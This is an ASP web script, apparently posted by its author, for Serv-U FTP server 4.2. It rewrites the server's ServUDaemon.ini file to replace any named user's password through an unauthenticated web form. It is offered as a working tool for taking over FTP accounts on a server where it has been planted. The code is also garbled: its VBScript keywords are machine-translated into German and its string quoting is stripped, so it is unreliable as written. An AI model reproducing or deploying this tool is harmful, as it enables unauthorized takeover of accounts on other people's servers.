Der folgende Code wird getestet, um an der SERV-U 4.2 zu arbeiten
<%
'| ############################ |
'| Survivor QQ: 54883661 |
'| Mail: [email protected] |
'| ############################ |
INIPath = D:/Programmdateien/Serv-U/Servudaemon.ini 'Setzen Sie den Dateiweg servudaemon.ini
user = [user = & request (user) & | 1]
Pass = Passwort = & Request (Pass)
Key = Request (Schlüssel)
Wenn Schlüssel <> dann
Dim OS, UserLong, Passlong, PL, SS
Setzen Sie fso = createObject (scripting.filesystemObject)
Setzen Sie os = fso.opentextfile (Inipath, 1) 'lesen servudaemon.ini
S = OS.Readall
os.close
UserLong = Instr (s, Benutzer)+len (Benutzer) +2
für i = userlong zu userlong+20
passlong = passlong+1
Wenn ASC (Mid (s, i, 1)) = 13 dann
beenden für
Ende wenn
nächste
PL = MID (S, UserLong, Passlong-1)
SS = Ersetzen (S, Benutzer & CHR (13) & CHR (10) & PL, Benutzer & CHR (13) & CHR (10) & Pass)
Setzen Sie os = fso.createTextfile (inipath, true) 'Schreiben Sie an servudaemon.ini
os.write ss
os.close
Ende wenn
%>
<Formmethode = post>
Benutzername: <Eingabe type = text name = user> <br>
Neues Passwort: <Eingabe type = Textname = Pass> <br>
<Eingabe type = senden name = key value = modify> <br>
</form>